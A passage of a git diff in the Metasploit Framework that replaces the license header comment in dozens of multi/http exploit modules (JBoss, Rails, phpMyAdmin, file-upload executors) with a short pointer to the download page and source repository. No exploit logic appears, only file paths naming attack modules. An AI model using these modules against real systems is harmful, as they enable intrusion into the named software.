-# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/exploits/multi/http/ajaxplorer_checkinstall_exec.rb b/modules/exploits/multi/http/ajaxplorer_checkinstall_exec.rb index 9b637469bb..d0b5a4f408 100644 --- a/modules/exploits/multi/http/ajaxplorer_checkinstall_exec.rb +++ b/modules/exploits/multi/http/ajaxplorer_checkinstall_exec.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/exploits/multi/http/apprain_upload_exec.rb b/modules/exploits/multi/http/apprain_upload_exec.rb index e979ef6a83..4aa4836576 100644 --- a/modules/exploits/multi/http/apprain_upload_exec.rb +++ b/modules/exploits/multi/http/apprain_upload_exec.rb @@ -1,8 +1,7 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework # Framework web site for more information on licensing and terms of use. -# http://metasploit.com/framework/ ## require 'msf/core' diff --git a/modules/exploits/multi/http/auxilium_upload_exec.rb b/modules/exploits/multi/http/auxilium_upload_exec.rb index 16858cce00..d1304b155e 100644 --- a/modules/exploits/multi/http/auxilium_upload_exec.rb +++ b/modules/exploits/multi/http/auxilium_upload_exec.rb @@ -1,8 +1,7 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework # Framework web site for more information on licensing and terms of use. -# http://metasploit.com/framework/ ## require 'msf/core' diff --git a/modules/exploits/multi/http/axis2_deployer.rb b/modules/exploits/multi/http/axis2_deployer.rb index 4c53343ae7..17ef8c8aac 100644 --- a/modules/exploits/multi/http/axis2_deployer.rb +++ b/modules/exploits/multi/http/axis2_deployer.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/exploits/multi/http/cuteflow_upload_exec.rb b/modules/exploits/multi/http/cuteflow_upload_exec.rb index 862a39f588..d764b23932 100644 --- a/modules/exploits/multi/http/cuteflow_upload_exec.rb +++ b/modules/exploits/multi/http/cuteflow_upload_exec.rb @@ -1,8 +1,7 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework # Framework web site for more information on licensing and terms of use. -# http://metasploit.com/framework/ ## require 'msf/core' diff --git a/modules/exploits/multi/http/eaton_nsm_code_exec.rb b/modules/exploits/multi/http/eaton_nsm_code_exec.rb index 7e0cc5499c..ca37ae8fc1 100644 --- a/modules/exploits/multi/http/eaton_nsm_code_exec.rb +++ b/modules/exploits/multi/http/eaton_nsm_code_exec.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/exploits/multi/http/extplorer_upload_exec.rb b/modules/exploits/multi/http/extplorer_upload_exec.rb index 4b97c871b2..90274ec095 100644 --- a/modules/exploits/multi/http/extplorer_upload_exec.rb +++ b/modules/exploits/multi/http/extplorer_upload_exec.rb @@ -1,8 +1,7 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework # Framework web site for more information on licensing and terms of use. -# http://metasploit.com/framework/ ## require 'msf/core' diff --git a/modules/exploits/multi/http/familycms_less_exec.rb b/modules/exploits/multi/http/familycms_less_exec.rb index ec46067dc5..cbd2a17d10 100644 --- a/modules/exploits/multi/http/familycms_less_exec.rb +++ b/modules/exploits/multi/http/familycms_less_exec.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/exploits/multi/http/freenas_exec_raw.rb b/modules/exploits/multi/http/freenas_exec_raw.rb index e9adba883f..7b63d8a0da 100644 --- a/modules/exploits/multi/http/freenas_exec_raw.rb +++ b/modules/exploits/multi/http/freenas_exec_raw.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/exploits/multi/http/gestioip_exec.rb b/modules/exploits/multi/http/gestioip_exec.rb index 0dd83227ad..237725f03e 100644 --- a/modules/exploits/multi/http/gestioip_exec.rb +++ b/modules/exploits/multi/http/gestioip_exec.rb @@ -1,8 +1,7 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework # Framework web site for more information on licensing and terms of use. -# http://metasploit.com/framework/ ## require 'msf/core' diff --git a/modules/exploits/multi/http/gitorious_graph.rb b/modules/exploits/multi/http/gitorious_graph.rb index ab24cb8e0d..36dbc96e70 100644 --- a/modules/exploits/multi/http/gitorious_graph.rb +++ b/modules/exploits/multi/http/gitorious_graph.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/multi/http/glassfish_deployer.rb b/modules/exploits/multi/http/glassfish_deployer.rb index b3e4c40019..c33616faa8 100644 --- a/modules/exploits/multi/http/glassfish_deployer.rb +++ b/modules/exploits/multi/http/glassfish_deployer.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/exploits/multi/http/glossword_upload_exec.rb b/modules/exploits/multi/http/glossword_upload_exec.rb index c732c8e23c..144a97d6cf 100644 --- a/modules/exploits/multi/http/glossword_upload_exec.rb +++ b/modules/exploits/multi/http/glossword_upload_exec.rb @@ -1,8 +1,7 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework # Framework web site for more information on licensing and terms of use. -# http://metasploit.com/framework/ ## require 'msf/core' diff --git a/modules/exploits/multi/http/glpi_install_rce.rb b/modules/exploits/multi/http/glpi_install_rce.rb index 6e63e57c36..5675201e41 100644 --- a/modules/exploits/multi/http/glpi_install_rce.rb +++ b/modules/exploits/multi/http/glpi_install_rce.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/exploits/multi/http/horde_href_backdoor.rb b/modules/exploits/multi/http/horde_href_backdoor.rb index a2b969792f..da3329887f 100644 --- a/modules/exploits/multi/http/horde_href_backdoor.rb +++ b/modules/exploits/multi/http/horde_href_backdoor.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/multi/http/hp_sitescope_uploadfileshandler.rb b/modules/exploits/multi/http/hp_sitescope_uploadfileshandler.rb index cb9dc7af64..8baedbadfe 100644 --- a/modules/exploits/multi/http/hp_sitescope_uploadfileshandler.rb +++ b/modules/exploits/multi/http/hp_sitescope_uploadfileshandler.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/exploits/multi/http/hp_sys_mgmt_exec.rb b/modules/exploits/multi/http/hp_sys_mgmt_exec.rb index a3defc152b..6fe98668a4 100755 --- a/modules/exploits/multi/http/hp_sys_mgmt_exec.rb +++ b/modules/exploits/multi/http/hp_sys_mgmt_exec.rb @@ -1,8 +1,7 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework # Framework web site for more information on licensing and terms of use. -# http://metasploit.com/framework/ ## require 'msf/core' diff --git a/modules/exploits/multi/http/hyperic_hq_script_console.rb b/modules/exploits/multi/http/hyperic_hq_script_console.rb index 8b63b06ad5..ad55925036 100644 --- a/modules/exploits/multi/http/hyperic_hq_script_console.rb +++ b/modules/exploits/multi/http/hyperic_hq_script_console.rb @@ -1,8 +1,7 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework # Framework web site for more information on licensing and terms of use. -# http://metasploit.com/framework/ ## require 'msf/core' diff --git a/modules/exploits/multi/http/jboss_bshdeployer.rb b/modules/exploits/multi/http/jboss_bshdeployer.rb index d658141ad9..732dd27b37 100644 --- a/modules/exploits/multi/http/jboss_bshdeployer.rb +++ b/modules/exploits/multi/http/jboss_bshdeployer.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/exploits/multi/http/jboss_deploymentfilerepository.rb b/modules/exploits/multi/http/jboss_deploymentfilerepository.rb index 24aed92304..4c64b6f53c 100644 --- a/modules/exploits/multi/http/jboss_deploymentfilerepository.rb +++ b/modules/exploits/multi/http/jboss_deploymentfilerepository.rb @@ -1,10 +1,8 @@ # -*- coding: binary -*- ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/exploits/multi/http/jboss_invoke_deploy.rb b/modules/exploits/multi/http/jboss_invoke_deploy.rb index 4cc14f1e9a..916d5b0e13 100644 --- a/modules/exploits/multi/http/jboss_invoke_deploy.rb +++ b/modules/exploits/multi/http/jboss_invoke_deploy.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/exploits/multi/http/jboss_maindeployer.rb b/modules/exploits/multi/http/jboss_maindeployer.rb index 3e64166816..1ef454ed64 100644 --- a/modules/exploits/multi/http/jboss_maindeployer.rb +++ b/modules/exploits/multi/http/jboss_maindeployer.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/exploits/multi/http/jenkins_script_console.rb b/modules/exploits/multi/http/jenkins_script_console.rb index 18586f0e4a..ad3162621b 100644 --- a/modules/exploits/multi/http/jenkins_script_console.rb +++ b/modules/exploits/multi/http/jenkins_script_console.rb @@ -1,8 +1,7 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework # Framework web site for more information on licensing and terms of use. -# http://metasploit.com/framework/ ## require 'msf/core' diff --git a/modules/exploits/multi/http/kordil_edms_upload_exec.rb b/modules/exploits/multi/http/kordil_edms_upload_exec.rb index 96a248479c..92f0f2a1e5 100644 --- a/modules/exploits/multi/http/kordil_edms_upload_exec.rb +++ b/modules/exploits/multi/http/kordil_edms_upload_exec.rb @@ -1,8 +1,7 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework # Framework web site for more information on licensing and terms of use. -# http://metasploit.com/framework/ ## require 'msf/core' diff --git a/modules/exploits/multi/http/lcms_php_exec.rb b/modules/exploits/multi/http/lcms_php_exec.rb index 237944c137..44d18c241b 100644 --- a/modules/exploits/multi/http/lcms_php_exec.rb +++ b/modules/exploits/multi/http/lcms_php_exec.rb @@ -1,8 +1,7 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework # Framework web site for more information on licensing and terms of use. -# http://metasploit.com/framework/ ## require 'msf/core' diff --git a/modules/exploits/multi/http/linksys_wrt110_cmd_exec_stager.rb b/modules/exploits/multi/http/linksys_wrt110_cmd_exec_stager.rb index e7102583ac..e398b874bb 100644 --- a/modules/exploits/multi/http/linksys_wrt110_cmd_exec_stager.rb +++ b/modules/exploits/multi/http/linksys_wrt110_cmd_exec_stager.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/exploits/multi/http/log1cms_ajax_create_folder.rb b/modules/exploits/multi/http/log1cms_ajax_create_folder.rb index 60decd4b09..50a83f8498 100644 --- a/modules/exploits/multi/http/log1cms_ajax_create_folder.rb +++ b/modules/exploits/multi/http/log1cms_ajax_create_folder.rb @@ -1,8 +1,7 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework # Framework web site for more information on licensing and terms of use. -# http://metasploit.com/framework/ ## require 'msf/core' diff --git a/modules/exploits/multi/http/manageengine_search_sqli.rb b/modules/exploits/multi/http/manageengine_search_sqli.rb index f24a11d338..d23c994e77 100644 --- a/modules/exploits/multi/http/manageengine_search_sqli.rb +++ b/modules/exploits/multi/http/manageengine_search_sqli.rb @@ -1,8 +1,7 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework # Framework web site for more information on licensing and terms of use. -# http://metasploit.com/framework/ ## require 'msf/core' diff --git a/modules/exploits/multi/http/mobilecartly_upload_exec.rb b/modules/exploits/multi/http/mobilecartly_upload_exec.rb index 10cb01ccb1..a27cb65eb6 100644 --- a/modules/exploits/multi/http/mobilecartly_upload_exec.rb +++ b/modules/exploits/multi/http/mobilecartly_upload_exec.rb @@ -1,8 +1,7 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework # Framework web site for more information on licensing and terms of use. -# http://metasploit.com/framework/ ## require 'msf/core' diff --git a/modules/exploits/multi/http/movabletype_upgrade_exec.rb b/modules/exploits/multi/http/movabletype_upgrade_exec.rb index 4c05ae728c..146bee3ebc 100644 --- a/modules/exploits/multi/http/movabletype_upgrade_exec.rb +++ b/modules/exploits/multi/http/movabletype_upgrade_exec.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/exploits/multi/http/mutiny_subnetmask_exec.rb b/modules/exploits/multi/http/mutiny_subnetmask_exec.rb index e20321aeb9..d4cadae1c7 100644 --- a/modules/exploits/multi/http/mutiny_subnetmask_exec.rb +++ b/modules/exploits/multi/http/mutiny_subnetmask_exec.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/exploits/multi/http/netwin_surgeftp_exec.rb b/modules/exploits/multi/http/netwin_surgeftp_exec.rb index 750481a0f9..8a0858934f 100644 --- a/modules/exploits/multi/http/netwin_surgeftp_exec.rb +++ b/modules/exploits/multi/http/netwin_surgeftp_exec.rb @@ -1,8 +1,7 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework # Framework web site for more information on licensing and terms of use. -# http://metasploit.com/framework/ ## require 'msf/core' diff --git a/modules/exploits/multi/http/op5_license.rb b/modules/exploits/multi/http/op5_license.rb index 5efb087911..b000181848 100644 --- a/modules/exploits/multi/http/op5_license.rb +++ b/modules/exploits/multi/http/op5_license.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/exploits/multi/http/op5_welcome.rb b/modules/exploits/multi/http/op5_welcome.rb index f27992df81..f374b6bb9b 100644 --- a/modules/exploits/multi/http/op5_welcome.rb +++ b/modules/exploits/multi/http/op5_welcome.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/exploits/multi/http/openfire_auth_bypass.rb b/modules/exploits/multi/http/openfire_auth_bypass.rb index f6cb588c62..bbd835c3e7 100644 --- a/modules/exploits/multi/http/openfire_auth_bypass.rb +++ b/modules/exploits/multi/http/openfire_auth_bypass.rb @@ -1,8 +1,7 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework # Framework web site for more information on licensing and terms of use. -# http://metasploit.com/framework/ ## require 'msf/core' diff --git a/modules/exploits/multi/http/openx_backdoor_php.rb b/modules/exploits/multi/http/openx_backdoor_php.rb index 826b498713..59f4408c39 100644 --- a/modules/exploits/multi/http/openx_backdoor_php.rb +++ b/modules/exploits/multi/http/openx_backdoor_php.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/exploits/multi/http/php_cgi_arg_injection.rb b/modules/exploits/multi/http/php_cgi_arg_injection.rb index 37fb163d9e..e571186ccf 100644 --- a/modules/exploits/multi/http/php_cgi_arg_injection.rb +++ b/modules/exploits/multi/http/php_cgi_arg_injection.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/exploits/multi/http/php_volunteer_upload_exec.rb b/modules/exploits/multi/http/php_volunteer_upload_exec.rb index d4143ef5b9..2a44d536f5 100644 --- a/modules/exploits/multi/http/php_volunteer_upload_exec.rb +++ b/modules/exploits/multi/http/php_volunteer_upload_exec.rb @@ -1,8 +1,7 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework # Framework web site for more information on licensing and terms of use. -# http://metasploit.com/framework/ ## require 'msf/core' diff --git a/modules/exploits/multi/http/phpldapadmin_query_engine.rb b/modules/exploits/multi/http/phpldapadmin_query_engine.rb index 056dcb360c..e37a13f9b2 100644 --- a/modules/exploits/multi/http/phpldapadmin_query_engine.rb +++ b/modules/exploits/multi/http/phpldapadmin_query_engine.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/exploits/multi/http/phpmyadmin_3522_backdoor.rb b/modules/exploits/multi/http/phpmyadmin_3522_backdoor.rb index 1b157e087d..fbba3cb8d2 100644 --- a/modules/exploits/multi/http/phpmyadmin_3522_backdoor.rb +++ b/modules/exploits/multi/http/phpmyadmin_3522_backdoor.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/exploits/multi/http/phpmyadmin_preg_replace.rb b/modules/exploits/multi/http/phpmyadmin_preg_replace.rb index 0bacb8eb7a..cadae2b862 100644 --- a/modules/exploits/multi/http/phpmyadmin_preg_replace.rb +++ b/modules/exploits/multi/http/phpmyadmin_preg_replace.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/exploits/multi/http/phpscheduleit_start_date.rb b/modules/exploits/multi/http/phpscheduleit_start_date.rb index 32c90a06d1..8735bf0c23 100644 --- a/modules/exploits/multi/http/phpscheduleit_start_date.rb +++ b/modules/exploits/multi/http/phpscheduleit_start_date.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/exploits/multi/http/phptax_exec.rb b/modules/exploits/multi/http/phptax_exec.rb index 627168ad5c..869b9a96b2 100644 --- a/modules/exploits/multi/http/phptax_exec.rb +++ b/modules/exploits/multi/http/phptax_exec.rb @@ -1,8 +1,7 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework # Framework web site for more information on licensing and terms of use. -# http://metasploit.com/framework/ ## require 'msf/core' diff --git a/modules/exploits/multi/http/plone_popen2.rb b/modules/exploits/multi/http/plone_popen2.rb index 918dacd6d8..de5cec0c88 100644 --- a/modules/exploits/multi/http/plone_popen2.rb +++ b/modules/exploits/multi/http/plone_popen2.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/exploits/multi/http/pmwiki_pagelist.rb b/modules/exploits/multi/http/pmwiki_pagelist.rb index 97cb0ee344..d2fdfdfb94 100644 --- a/modules/exploits/multi/http/pmwiki_pagelist.rb +++ b/modules/exploits/multi/http/pmwiki_pagelist.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/exploits/multi/http/polarcms_upload_exec.rb b/modules/exploits/multi/http/polarcms_upload_exec.rb index 0ba6a4c715..b80e280fe2 100644 --- a/modules/exploits/multi/http/polarcms_upload_exec.rb +++ b/modules/exploits/multi/http/polarcms_upload_exec.rb @@ -1,8 +1,7 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework # Framework web site for more information on licensing and terms of use. -# http://metasploit.com/framework/ ## diff --git a/modules/exploits/multi/http/qdpm_upload_exec.rb b/modules/exploits/multi/http/qdpm_upload_exec.rb index 3f77487625..3604bab6c6 100644 --- a/modules/exploits/multi/http/qdpm_upload_exec.rb +++ b/modules/exploits/multi/http/qdpm_upload_exec.rb @@ -1,8 +1,7 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework # Framework web site for more information on licensing and terms of use. -# http://metasploit.com/framework/ ## require 'msf/core' diff --git a/modules/exploits/multi/http/rails_json_yaml_code_exec.rb b/modules/exploits/multi/http/rails_json_yaml_code_exec.rb index 193fa341bd..cf28fb5370 100644 --- a/modules/exploits/multi/http/rails_json_yaml_code_exec.rb +++ b/modules/exploits/multi/http/rails_json_yaml_code_exec.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/exploits/multi/http/rails_secret_deserialization.rb b/modules/exploits/multi/http/rails_secret_deserialization.rb index 89c32a4545..5fa74b9488 100644 --- a/modules/exploits/multi/http/rails_secret_deserialization.rb +++ b/modules/exploits/multi/http/rails_secret_deserialization.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/exploits/multi/http/rails_xml_yaml_code_exec.rb b/modules/exploits/multi/http/rails_xml_yaml_code_exec.rb index 6d9be060d9..2b744581de 100644 --- a/modules/exploits/multi/http/rails_xml_yaml_code_exec.rb +++ b/modules/exploits/multi/http/rails_xml_yaml_code_exec.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/exploits/multi/http/sflog_upload_exec.rb b/modules/exploits/multi/http/sflog_upload_exec.rb index d2a1bdbce0..f458d2e49c 100644 --- a/modules/exploits/multi/http/sflog_upload_exec.rb +++ b/modules/exploits/multi/http/sflog_upload_exec.rb @@ -1,8 +1,7 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework # Framework web site for more information on licensing and terms of use. -# http://metasploit.com/framework/ ## require 'msf/core' diff --git a/modules/exploits/multi/http/sit_file_upload.rb b/modules/exploits/multi/http/sit_file_upload.rb index 1d61942a5e..1b0d70e7d0 100644 --- a/modules/exploits/multi/http/sit_file_upload.rb +++ 